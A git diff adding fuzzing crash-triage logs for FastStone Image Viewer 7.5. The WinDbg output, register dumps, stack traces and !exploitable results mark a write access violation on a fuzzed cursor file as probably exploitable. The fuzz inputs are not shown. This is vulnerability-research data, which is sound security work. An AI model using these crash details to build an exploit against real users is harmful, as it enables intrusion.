+STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..4e4e38d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1C78: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1C78: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1c78.468): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fc6afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.70224e+023 -4.45512e+010 -2.96433e-017 4.80855e-014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00212000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00212000 2969609d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6294 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00212000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..98ffecb Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/23367/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4f4b64a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..5ea50e3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x8BC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x8BC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(8bc.1b28): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fc30fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.261480000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.47446e-029 30157.7 2.1071e-038 -1.56831e-018 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0024d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0024d000 aa94bc96 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0024d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..5ea50e3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/25396/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** 